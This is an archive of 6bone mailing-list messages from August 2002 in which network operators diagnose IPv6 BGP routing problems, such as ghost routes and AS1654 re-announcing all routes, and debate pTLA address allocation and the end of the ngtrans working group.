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On Wed, 2002-08-14 at 15:45, Edward Brocklesby wrote:
> Gert Doering:
> > That would be helpful, yes.  Especially if someone has a good personal
> > contact and could work with AS7660 to figure out what's going on (some
> > specific recent software change, or some new product, or whatnot).
> 
> Well, extracted from the db (thanks to Paul Aitken), we have
> Administrative contact:
> 
> a. [JPNIC Handle]               SG001JP
> c. [Last, First]                Goto, Shigeki
> d. [E-Mail]                     goto@goto.info.waseda.ac.jp
> g. [Organization]               Waseda University
> l. [Division]                   Department of Info. and Comp. Sci.,School of 
> Science and
>                                 Engineering
> n. [Title]                      Professor
> 
> and three technical contacts:
> 
> a. [JPNIC Handle]               KK007JP
> c. [Last, First]                Konishi, Kazunori
> d. [E-Mail]                     konish@kddlabs.co.jp
> g. [Organization]               KDDI R&D Laboratories INC.
> l. [Division]                    
> n. [Title]                      Principal Research Engineer
> 
> a. [JPNIC Handle]               AK003JP
> c. [Last, First]                Kato, Akira
> d. [E-Mail]                     kato@wide.ad.jp
> g. [Organization]               The University of Tokyo
> l. [Division]                   Information Technology Center
> n. [Title]                      Research Associate
> 
> a. [JPNIC Handle]               MF030JP
> c. [Last, First]                Fujinaga, Masahiko
> d. [E-Mail]                     mf-fujinaga@kddi.com
> g. [Organization]               KDDI CORPORATION
> 
> I don't really want to take this up myself, but maybe someone wants to have a 
> word..

You have too:

ops@jp.apan.net

NOC Director
Kazunori Konishi
konish@kddlabs.jp
+81-492-78-7313


IPv6 Support
Akira Kato
kato@wide.ad.jp

Yoshinori Kitatsuji
kitaji@kddlabs.jp
mobile
+81-492-78-7362
 +81-70-666-43841


Yuichiro Hei
hei@kddlabs.jp
mobile
+81-492-78-7891
 +81-70-666-40994

 Operator
 Otemachi Technical Center
 otc@jp.apan.net

Best Regards,

Nicolas DEFFAYET


From joao@ripe.net Wed Aug 14 07:41:24 2002
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From: Joao Luis Silva Damas <joao@ripe.net>
To: Rik van Riel <riel@conectiva.com.br>
cc: Bob Fink <fink@es.net>, <6bone@ISI.EDU>
Subject: Re: [6bone] pTLA request by Euro6IX project for   exchangeexperimentation
 - review closes 3 Sep 2002
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On Wed, 14 Aug 2002, Rik van Riel wrote:

> On Wed, 14 Aug 2002, Joao Luis Silva Damas wrote:
>
> > Come on, these two cases were OK up to the point where people could not
> > get any other type of IPv6 addresses but now they are just normal
> > businness.
>
> Yeah right.  I doubt ipv6 is that widely available already.

That is not the point. It doesn't matter whether it is deployed or not,
what matters is whether it is deployable or not.

Insisting in calling addresses that are being used to provide plain
services, just like in IPv4, "experimental" is quite the same as calling
IPv6 itself experimental.

In the same way, giving out "special" addresses to developers of
applications which use IPv6 to get packets accross is quite the same as
giving a sofwtare company special IPv4 addresses to test their new web
browser.
Come on...

>
> > Only case A really merits 6Bone addresses, because items in that
> > category would have the potential to disrupt an operating Internet
> > using IPv6 in some of its areas.
>
> The fact that you use "an operating internet" instead of
> "the internet" is telling.  IPv6 just isn't commonplace yet.
>

Read the sentence again. That is not what it implies. IPv6 machines are
much better off than the poor people seating behind NATs.

Regards,
Joao


From fink@es.net Wed Aug 14 08:51:56 2002
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From: Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA request by Euro6IX project for 
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Joao,

At 09:23 AM 8/14/2002 +0200, Joao Luis Silva Damas wrote:
>I see,
>  in that case I guess we better start creating the 4Bone, for newvie ISPs 
> in IPv4 and people developing new applications  that benefit from IPv4 
> transport.
>Come on, these two cases were OK up to the point where people could not 
>get any other type of IPv6 addresses but now they are just normal businness.

The problem is that those wanting to experiment with, test or try IPv6 
cannot do so today as IPv6 service is not even remotely as available as 
IPv4 service is.

I am routinely asked by networks and sites (and even individuals) how to 
get involved with IPv6 and where to connect. The current list of sTLA 
holders is so small, and in most cases for profit (yes, some are not for 
profit, but aren't in the business of providing service outside of their 
own community) that sites and networks trying v6 mostly have no 
alternatives for connectivity.

So they turn to pTLAs and many of them aren't willing to provide general 
tunneling to all comers either as they generally try to serve a community 
of their own interest.

Freenet6 helps, but can't be expected to handle all the demand.

Then there is 6to4, which is not really ready for many of these folks as it 
is evolving and requires knowledge to get it going that many don't have. 
Hopefully it will eventually take up the slack.

So we continue to provide 6bone pTLAs in the hope that we will get 
sufficient deployment that IPv6 will be widely available.

Anyway, just having production IPv6 addresses available from RIRs does not 
make IPv6 widely available, and affordable. Also, having a 6bone does not 
make IPv6 not usable, rather it enables it.


>Only case A really merits 6Bone addresses, because items in that category 
>would have the potential to disrupt an operating Internet using IPv6 in 
>some of its areas.

I haven't seen many cases where an experiment might disable the operating 
IPv6 Internet, tho Teredo might be one (I don't really know). If there are 
experiments that should not connect to the IPv6 Internet they don't really 
need the 6bone as they should probably be tested in a completely isolated 
manner.

The 6bone has been used, and continues to be used, to test and try many 
things by folks that otherwise can not get production address space and 
often don't really want it yet.


>I hope this group will be able to move on and take the step of declaring 
>IPv6 usable.

I don't believe that this group (presuming you mean the 6bone community) 
feels that IPv6 is not usable, rather the collective 6bone community is 
continually trying to enable IPv6 and make it more widely available.


Thanks,

Bob


From tvo@EnterZone.Net Wed Aug 14 09:29:10 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Gert Doering <gert@space.net>
cc: Edward Brocklesby <ejb@sdf.lonestar.org>, 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes.
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Looking from AS7660's point of view at
http://www.jp.apan.net/cgi-bin/ipv6/mrlg

(Note to the guys at AS7660: That is an OLD, OLD, OLD copy of the MRLG.  
New and improved code is available at
ftp://ftp.enterzone.net/looking-glass/CURRENT/ )


Executing command = show bgp ipv6 2001:470::/35
% Network not in table


Executing command = show bgp ipv6 2001:470::/32
BGP routing table entry for 2001:470::/32, version 1245624
Paths: (1 available, best #1)
  Not advertised to any peer
  9264 6939
    2001:288:3B0::1D (metric 2) from 3FFE:8140:101:3::3 (203.181.248.4)
      Origin IGP, localpref 100, valid, internal, best
tp6r2-tokyo


Uh-Oh!  It looks like it may be time for them to contact ipv6-support@cisco.com

(And no, I don't work for Cisco - I'm just trying to be helpful.)


Executing command = show version
Cisco Internetwork Operating System Software 
IOS (tm) RSP Software (RSP-PV-M), Experimental Version 12.2(20010708:224052) [otroan-bastille 276]
Copyright (c) 1986-2001 by cisco Systems, Inc.
Compiled Wed 25-Jul-01 00:00 by otroan
Image text-base: 0x60010968, data-base: 0x614CC000

ROM: System Bootstrap, Version 5.3.2(3.2) [kmac 3.2], MAINTENANCE INTERIM SOFTWARE
BOOTLDR: RSP Software (RSP-BOOT-M), Version 12.0(9)S, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1)

tp6r2-tokyo uptime is 26 weeks, 7 hours, 46 minutes
System returned to ROM by power-on
System image file is "slot0:rsp-pv-mz.20010724"

cisco RSP1 (R4600) processor with 65536K/2072K bytes of memory.
R4600 CPU at 100Mhz, Implementation 32, Rev 2.0
Last reset from power-on
G.703/E1 software, Version 1.0.
G.703/JT2 software, Version 1.0.
X.25 software, Version 3.0.0.
Chassis Interface.
1 EIP controller (2 Ethernet).
2 AIP controllers (2 ATM).
1 FEIP controller (1 FastEthernet).
2 Ethernet/IEEE 802.3 interface(s)
1 FastEthernet/IEEE 802.3 interface(s)
2 ATM network interface(s)
125K bytes of non-volatile configuration memory.

16384K bytes of Flash PCMCIA card at slot 0 (Sector size 128K).
8192K bytes of Flash internal SIMM (Sector size 256K).
Configuration register is 0x102

tp6r2-tokyo



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From gert@Space.Net Wed Aug 14 09:34:27 2002
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From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Gert Doering <gert@space.net>, Edward Brocklesby <ejb@sdf.lonestar.org>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes.
Message-ID: <20020814183425.F27015@Space.Net>
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Hi,

On Wed, Aug 14, 2002 at 12:29:00PM -0400, John Fraizer wrote:
> Looking from AS7660's point of view at
> http://www.jp.apan.net/cgi-bin/ipv6/mrlg
[..]
> Uh-Oh!  It looks like it may be time for them to contact ipv6-support@cisco.com

Indeed, as...

> Cisco Internetwork Operating System Software 
> IOS (tm) RSP Software (RSP-PV-M), Experimental Version 12.2(20010708:224052) [otroan-bastille 276]

... this software version is old, but not *that* old - I thought all
BGP withdraw bugs had long been extinguished...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Wed Aug 14 09:41:40 2002
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Subject: RE: XXX support (was [6bone] routing problem)
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Gert Doering wrote:

> Maybe it's time to learn some facts of life: all software has bugs.
Everything has bugs, even live itself, and then the bugs sting ;)

> The difference is how the people that are responsible for them handle
> bug reports and go fixing them.
In short: Politics.

> What was the major software package that you wrote recently 
> that has no single bug?
Has been some time I wrote Hello World, though it bugs tremendously: no
IPv6 support ;)

Greets,
 Jeroen


From jorgen@hovland.cx Wed Aug 14 10:14:22 2002
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References: <200208141216.40070.nighthawk@unrealircd.com><20020814153820.U27015@Space.Net>  <200208141445.37029.ejb@sdf.lonestar.org> <1029335247.642.26.camel@wks1-1.corp.ndsoftware.com>
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Subject: [6bone] SUNET announcing ALL IPv6 routes
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Anybody alive from sunet here? You are announcing every route with your AS as last-hop.
It is causing us CRITICAL downtime, and probably more than half of all the other STLA/pTLA's too.

Anybody peering with SUNET: please fix this.

...snip...
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
   Network          Next Hop            Metric LocPrf Weight Path
* i3FFE:1E00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
* i3FFE:1F00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2000::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2100::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2200::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2400::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2500::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
* i3FFE:2600::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
   Network          Next Hop            Metric LocPrf Weight Path
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*>i3FFE:2610:2::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 8432 i
*>i3FFE:2610:10::/48
                    3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 1342 i
*>i3FFE:2650:1::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 8812 i
*>i3FFE:26FF:8::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 24751 i
*>i3FFE:26FF:A::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 16023 i
*>i3FFE:26FF:10::/48
                    3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 3274 8145 i
* i3FFE:2800::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2900::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*>i3FFE:2900:2004::/48
                    3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 8002 4538 65272 i
*  3FFE:2A00::/24   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2B00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2C00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:2F00::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
   Network          Next Hop            Metric LocPrf Weight Path
* i3FFE:3100::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3200::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*>i3FFE:327E:1::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 8002 4538 65272 i
* i3FFE:3300::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3400::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3500::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3600::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3700::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3800::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
   Network          Next Hop            Metric LocPrf Weight Path
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:3900::/24   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:4000::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:4003::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
* i3FFE:4004::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*  3FFE:4005::/32   3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*>i3FFE:4005:A::/48 3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 8002 4538 65272 i
* i3FFE:4006::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
* i3FFE:4007::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*  3FFE:4008::/32   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
*                   2001:750:E::A                          0 15589 1654 i
*  3FFE:4009::/32   3FFE:82B0:0:1:1::15
                                                           0 24765 1654 i
* i3FFE:400A::/32   3FFE:82B0:0:1:1::5
                                                  100      0 6830 1654 i


Joergen Hovland
WebOnline AS


From michel@arneill-py.sacramento.ca.us Wed Aug 14 10:24:48 2002
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6boners,

> Randy Bush wrote:
> hence it is planned for ngtrans be closed and a new
> group, v6ops, be chartered

This creates an interesting situation as the 6bone was informally
operated with oversight from the "NGtrans" (IPv6 Transition) Working
Group of the IETF.

Thoughts, anyone?

Michel.


From wimbie@surfnet.nl Wed Aug 14 10:26:47 2002
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To: John Fraizer <tvo@EnterZone.Net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes. 
In-reply-to: Your message of "Wed, 14 Aug 2002 12:29:00 EDT."
             <Pine.LNX.4.21.0208141222420.16158-100000@Overkill.EnterZone.Net> 
Organisation: SURFnet bv / netwerkdiensten
Address: Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL
Phone: +31 302 305 305
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==> From: John Fraizer

> New and improved code is available at
> ftp://ftp.enterzone.net/looking-glass/CURRENT/ )

Feature request: handle routers who need username + password.
(And fastping.c doesn't seem to compile on my 4.6-STABLE box.)

-Wim -/- SURFnet


From tvo@EnterZone.Net Wed Aug 14 10:36:20 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
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Subject: Re: [6bone] 2001:470::/35 ghost routes. 
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On Wed, 14 Aug 2002, Wim Biemolt wrote:

> 
> 
> ==> From: John Fraizer
> 
> > New and improved code is available at
> > ftp://ftp.enterzone.net/looking-glass/CURRENT/ )
> 
> Feature request: handle routers who need username + password.
> (And fastping.c doesn't seem to compile on my 4.6-STABLE box.)
> 
> -Wim -/- SURFnet
> 

Wim,

Look in sub execute_command.

Prior to:

  $t->cmd ($login_pass);

do a   $t->cmd ($login_username);


You'll have to pass that information to the program of course and put in
some logic to not try to send a username to routers that don't require it
but, it should be simple enough to do.

As for fastping, I didn't write the code.  I just use it and make it
available in the tarball for folks who want to use it.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From bmanning@ISI.EDU Wed Aug 14 10:39:23 2002
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Subject: Re: [6bone] the end of ngtrans
In-Reply-To: <2B81403386729140A3A899A8B39B046405E27B@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Aug 14, 2 10:24:41 am"
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% 6boners,
% 
% > Randy Bush wrote:
% > hence it is planned for ngtrans be closed and a new
% > group, v6ops, be chartered
% 
% This creates an interesting situation as the 6bone was informally
% operated with oversight from the "NGtrans" (IPv6 Transition) Working
% Group of the IETF.
% 
% Thoughts, anyone?
% 
% Michel.
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone


	There are no plans to depricate the mailing list.

-- 
--bill

From tvo@EnterZone.Net Wed Aug 14 10:40:52 2002
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, [iso-8859-1] Jørgen Hovland wrote:

> Anybody alive from sunet here? You are announcing every route with
> your AS as last-hop. It is causing us CRITICAL downtime, and probably
> more than half of all the other STLA/pTLA's too.
> 
> Anybody peering with SUNET: please fix this.
> 
> ...snip...
> *                   2001:750:E::A                          0 15589 1654 i
> * i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 15982 1654 i
> *                   2001:750:E::A                          0 15589 1654 i
>    Network          Next Hop            Metric LocPrf Weight Path
> * i3FFE:1E00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 6830 1654 i


Cute.

SUNET (ASN-SWEDEN)
   SUNET/KTH
   SE

   Autonomous System Name: SWEDEN
   Autonomous System Number: 1654

   Record last updated on 30-Dec-1991.
   Database last updated on  13-Aug-2002 20:01:19 EDT.


That should be illegal.  No contact information, what-so-ever.

May I make the humble request that anyone who peers with SUNET admin-down
the sessions until such time as the clue delivery can be made to them?


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From kim@tac.nyc.ny.us Wed Aug 14 10:49:04 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes.
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 from Wim Biemolt on Wed, 14 Aug 2002 19:26:33 +0200
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There's also a simple zebra/cisco looking glass at

    http://www.gw.com/sw/stripes/

It is written Perl, and can handle username + password.

Regards,
+ Kim


| From:    Wim Biemolt <Wim.Biemolt@surfnet.nl>
| Date:    Wed, 14 Aug 2002 19:26:33 +0200
|
|
|
| ==> From: John Fraizer
|
| > New and improved code is available at
| > ftp://ftp.enterzone.net/looking-glass/CURRENT/ )
|
| Feature request: handle routers who need username + password.
| (And fastping.c doesn't seem to compile on my 4.6-STABLE box.)
|
| -Wim -/- SURFnet
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From gert@Space.Net Wed Aug 14 10:50:58 2002
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Subject: [6bone] Could someone filter AS1654, please?
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Hi,

I have no idea what they are doing, but I don't like the result - 1654
seems to re-announce all current IPv6 routes under their own AS as origin:

cisco25#sh bgp ipv6 reg 1654$
BGP table version is 2014133, local router ID is 193.149.44.35
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
* i2001:208::/32    2001:608:0:3::1          9    100      0 8379 15982 1654 i
*>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
*                   3FFE:2A00:100:7FF3::1
                                            30             0 2603 1275 5609 1654 i
*                   2001:658:0:1::1         30             0 8627 6830 8973 1654 i
*                   2001:608:0:3::B         30             0 3292 6830 8973 1654 i
*                   2001:780::4             30             0 12337 6830 8973 1654 i
*                   2001:680:0:1::4         30             0 517 790 6830 8973 1654 i
*                   3FFE:8150:0:1::17
                                           200             0 9044 8002 5609 1654 i
* i2001:210::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
*>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
[truncated]
* i2001:238::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
*>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
*  2001:240::/35    2001:658:0:1::1         30             0 8627 6830 1654 i
*  2001:240::/32    2001:658:0:1::1         30             0 8627 6830 1654 i
*                   2001:680:0:1::4         30             0 517 790 8627 6830 1654 i
*  2001:248::/35    2001:608:0:3::B         30             0 3292 6830 8973 1654 i
* i2001:250::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
*>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
*  2001:260::/35    2001:608:0:3::B         30             0 3292 6830 8973 1654 i
*                   2001:780::4             30             0 12337 6830 8973 1654 i
*                   2001:680:0:1::4         30             0 517 8472 6830 1654 i
*  2001:268::/32    2001:680:0:1::4         30             0 517 790 8627 6830 1654 i
*                   2001:658:0:1::1         30             0 8627 6830 1654 i
*  2001:270::/35    2001:600:4:1D1::1
* i2001:288::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
*>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i

(and so on).

I'd appreciate if some of their peers could apply some gracious filtering...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Wed Aug 14 10:52:42 2002
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
Message-ID: <20020814195239.J27015@Space.Net>
References: <200208141216.40070.nighthawk@unrealircd.com><20020814153820.U27015@Space.Net> <200208141445.37029.ejb@sdf.lonestar.org> <1029335247.642.26.camel@wks1-1.corp.ndsoftware.com> <000901c243b6$02e7a6c0$0200000a@hera>
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Hi,

On Wed, Aug 14, 2002 at 07:14:11PM +0200, Jørgen Hovland wrote:
> *                   2001:750:E::A                          0 15589 1654 i
> * i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 15982 1654 i
> *                   2001:750:E::A                          0 15589 1654 i

Not only 6bone, but RIR space as well.

We have no direct peering, so can't really filter them.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From RJorgensen@upctechnology.com Wed Aug 14 10:57:16 2002
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Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
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Jorgen,

It's not sunet, it's sics that use that ASN. www.sics.se.
Check sics@whois.6bone.net.

Probably just borrowing the ASN from sunet. Here is what we
saw before I shut down the peering: 
http://www2.ipv6.chello.com/bogus/file0035.html
Pretty bad?:)


But this is not the first time one ASN is announcing the entire sTLA/pTLA
list. It has happend before and would probably happend again.
Question is really, how are we suppose to filter this kind of things on
a transit peering? Limited amount of prefixes we can accept from an AS?


---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ engineering - UPC Technology
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: Jørgen Hovland [mailto:jorgen@hovland.cx]
> Sent: Wednesday, August 14, 2002 7:14 PM
> To: 6bone@mailman.isi.edu
> Cc: abuse@sunet.se
> Subject: [6bone] SUNET announcing ALL IPv6 routes
> Importance: High
> 
> 
> Anybody alive from sunet here? You are announcing every route 
> with your AS as last-hop.
> It is causing us CRITICAL downtime, and probably more than 
> half of all the other STLA/pTLA's too.
> 
> Anybody peering with SUNET: please fix this.
> 
> ...snip...
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
>    Network          Next Hop            Metric LocPrf Weight Path
> * i3FFE:1E00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> * i3FFE:1F00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
